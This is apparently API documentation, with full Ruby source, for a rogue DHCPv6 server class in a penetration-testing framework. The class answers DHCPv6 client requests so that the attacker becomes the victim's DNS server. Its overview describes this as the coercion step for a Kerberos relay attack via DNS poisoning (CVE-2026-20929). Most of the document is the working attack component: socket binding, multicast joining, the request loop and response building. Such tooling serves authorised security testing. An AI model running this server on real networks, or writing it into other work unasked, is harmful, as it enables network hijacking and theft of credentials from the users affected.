Class: Rex::Proto::DHCPv6::Server

Inherits:
Object
  • Object
show all
Includes:
Socket
Defined in:
lib/rex/proto/dhcpv6/server.rb

Overview

A minimal rogue DHCPv6 server (RFC 8415). It answers Solicit / Request / Renew / Rebind / Confirm / Information-Request messages, handing the client the attacker as its DNS server (and, for stateful requests, a leased address). This is the native coercion primitive behind the Kerberos relay via DNS (CVE-2026-20929): once the attacker is the client's DNS server, a paired DNS server poisons the target name to coerce authentication.

Request parsing and response construction live in #handle_request, kept separate from the socket I/O so the protocol behaviour is unit-testable.

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(dns_servers: [], assigned_address: nil, domain_list: nil, server_mac: nil, listen_host: '::', interface: nil, context: {}) ⇒ Server

Lease lifetimes default to 300s/600s and can be overridden via the preferred_lifetime / valid_lifetime accessors.

Parameters:

  • dns_servers (Array<String>) (defaults to: []) —

    DNS server IPv6 address(es) to hand out (the attacker); defaults to the server's own link address at start time.

  • assigned_address (String, nil) (defaults to: nil) —

    address to lease for stateful (IA_NA) requests

  • domain_list (Array<String>, nil) (defaults to: nil) —

    optional DNS search domains

  • server_mac (String, nil) (defaults to: nil) —

    link-layer address for the server DUID (random if nil)

  • listen_host (String) (defaults to: '::') —

    local bind address (all IPv6 by default)

  • interface (String, nil) (defaults to: nil) —

    interface name to bind / join multicast on

  • context (Hash) (defaults to: {}) —

    Rex socket context



29
30
31
32
33
34
35
36
37
38
39
40
41
# File 'lib/rex/proto/dhcpv6/server.rb', line 29

def initialize(dns_servers: [], assigned_address: nil, domain_list: nil, server_mac: nil,
               listen_host: '::', interface: nil, context: {})
  self.dns_servers = dns_servers
  self.assigned_address = assigned_address
  self.domain_list = domain_list
  self.server_duid = Packet.duid_ll(server_mac || random_mac)
  self.listen_host = listen_host
  self.interface = interface
  self.preferred_lifetime = 300
  self.valid_lifetime = 600
  self.context = context
  self.sock = nil
end

Instance Attribute Details

#assigned_address ⇒ Object

Returns the value of attribute assigned_address.



105
106
107
# File 'lib/rex/proto/dhcpv6/server.rb', line 105

def assigned_address
  @assigned_address
end

#context ⇒ Object

Returns the value of attribute context.



105
106
107
# File 'lib/rex/proto/dhcpv6/server.rb', line 105

def context
  @context
end

#dns_servers ⇒ Object

Returns the value of attribute dns_servers.



105
106
107
# File 'lib/rex/proto/dhcpv6/server.rb', line 105

def dns_servers
  @dns_servers
end

#domain_list ⇒ Object

Returns the value of attribute domain_list.



105
106
107
# File 'lib/rex/proto/dhcpv6/server.rb', line 105

def domain_list
  @domain_list
end

#interface ⇒ Object

Returns the value of attribute interface.



105
106
107
# File 'lib/rex/proto/dhcpv6/server.rb', line 105

def interface
  @interface
end

#listen_host ⇒ Object

Returns the value of attribute listen_host.



105
106
107
# File 'lib/rex/proto/dhcpv6/server.rb', line 105

def listen_host
  @listen_host
end

#preferred_lifetime ⇒ Object

Returns the value of attribute preferred_lifetime.



105
106
107
# File 'lib/rex/proto/dhcpv6/server.rb', line 105

def preferred_lifetime
  @preferred_lifetime
end

#reporter ⇒ Object

Returns the value of attribute reporter.



105
106
107
# File 'lib/rex/proto/dhcpv6/server.rb', line 105

def reporter
  @reporter
end

#server_duid ⇒ Object

Returns the value of attribute server_duid.



105
106
107
# File 'lib/rex/proto/dhcpv6/server.rb', line 105

def server_duid
  @server_duid
end

#sock ⇒ Object

Returns the value of attribute sock.



105
106
107
# File 'lib/rex/proto/dhcpv6/server.rb', line 105

def sock
  @sock
end

#thread ⇒ Object

Returns the value of attribute thread.



105
106
107
# File 'lib/rex/proto/dhcpv6/server.rb', line 105

def thread
  @thread
end

#valid_lifetime ⇒ Object

Returns the value of attribute valid_lifetime.



105
106
107
# File 'lib/rex/proto/dhcpv6/server.rb', line 105

def valid_lifetime
  @valid_lifetime
end

Instance Method Details

#handle_request(buf) ⇒ Array(Integer, String)?

Parse a raw client message and build the rogue response bytes.

Parameters:

  • buf (String) —

    the received DHCPv6 message

Returns:

  • (Array(Integer, String), nil) —

    the response message type and its encoded bytes, or nil if the message is not one we answer.



86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
# File 'lib/rex/proto/dhcpv6/server.rb', line 86

def handle_request(buf)
  request = Packet.read(buf)
  response = Packet.build_response(
    request: request,
    server_duid: server_duid,
    dns_servers: dns_servers,
    assigned_address: assigned_address,
    preferred_lifetime: preferred_lifetime,
    valid_lifetime: valid_lifetime,
    domain_list: domain_list
  )
  return nil if response.nil?

  [request.msg_type, response.to_binary_s]
rescue StandardError => e
  elog('Failed to handle DHCPv6 request', error: e)
  nil
end

#interface_index ⇒ Object (protected)



155
156
157
158
159
# File 'lib/rex/proto/dhcpv6/server.rb', line 155

def interface_index
  return 0 if interface.nil? || interface.empty?

  ::Socket.getifaddrs.find { |ifaddr| ifaddr.name == interface }&.ifindex || 0
end

#ipv6_join_group_opt ⇒ Object (protected)



147
148
149
150
151
152
153
# File 'lib/rex/proto/dhcpv6/server.rb', line 147

def ipv6_join_group_opt
  if ::Socket.const_defined?(:IPV6_JOIN_GROUP)
    ::Socket::IPV6_JOIN_GROUP
  else
    ::Socket::IPV6_ADD_MEMBERSHIP
  end
end

#join_multicast_group ⇒ Object (protected)

Join the well-known DHCPv6 multicast group so the socket receives the multicast Solicit/Request messages clients send. Best-effort: platforms and interface indices vary, so failure is logged rather than fatal.



136
137
138
139
140
141
142
143
144
145
# File 'lib/rex/proto/dhcpv6/server.rb', line 136

def join_multicast_group
  group = Rex::Socket.addr_aton(Constants::ALL_DHCP_RELAY_AGENTS_AND_SERVERS)
  ifindex = interface_index
  # struct ipv6_mreq = 16-byte multicast address + native-order interface
  # index; the index must be packed in the host's byte order, not network
  # order, or the kernel joins on the wrong (usually zero) interface.
  sock.setsockopt(::Socket::IPPROTO_IPV6, ipv6_join_group_opt, group + [ifindex].pack('L'))
rescue StandardError => e
  elog('Failed to join DHCPv6 multicast group', error: e)
end

#monitor_socket ⇒ Object (protected)



111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
# File 'lib/rex/proto/dhcpv6/server.rb', line 111

def monitor_socket
  loop do
    readable, = ::IO.select([sock], nil, nil, 1)
    next unless readable && readable[0] == sock

    buf, addr = sock.recvfrom(65535)
    next if buf.nil? || buf.empty?

    # recvfrom's sender info has varied across rex-socket versions: newer
    # returns [af, port, host, host], older returns the host string
    # directly. Handle both so the reply reaches the real client.
    client_host = addr.is_a?(::Array) ? addr[3] : addr
    result = handle_request(buf)
    next if result.nil?

    msg_type, response = result
    # DHCPv6 clients listen on the client port; reply to the source address.
    sock.sendto(response, client_host, Constants::CLIENT_PORT)
    reporter&.call(msg_type, client_host, buf)
  end
end

#on_request(&block) ⇒ Object

A block invoked with (message_type, client_host, request_packet) each time a request is answered, for logging / reporting.



45
46
47
# File 'lib/rex/proto/dhcpv6/server.rb', line 45

def on_request(&block)
  self.reporter = block
end

#random_mac ⇒ Object (protected)



161
162
163
164
# File 'lib/rex/proto/dhcpv6/server.rb', line 161

def random_mac
  # 0x02 in the first octet marks the address locally administered
  "\x02".b + Random.new.bytes(5)
end

#start ⇒ Object

Start listening and answering DHCPv6 requests.



50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# File 'lib/rex/proto/dhcpv6/server.rb', line 50

def start
  self.sock = Rex::Socket::Udp.create(
    'LocalHost' => listen_host,
    'LocalPort' => Constants::SERVER_PORT,
    'Context' => context,
    'Ipv6' => true
  )

  if interface && !interface.empty?
    begin
      sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_BINDTODEVICE, "#{interface}\0")
    rescue StandardError => e
      elog("Failed to bind DHCPv6 server to #{interface}", error: e)
    end
  end

  join_multicast_group

  self.thread = Rex::ThreadFactory.spawn('DHCPv6ServerMonitor', false) { monitor_socket }
end

#stop ⇒ Object



71
72
73
74
75
76
77
78
79
# File 'lib/rex/proto/dhcpv6/server.rb', line 71

def stop
  thread.kill if thread
  begin
    sock&.close
  rescue StandardError => e
    elog('Failed to close DHCPv6 server socket', error: e)
  end
  self.sock = nil
end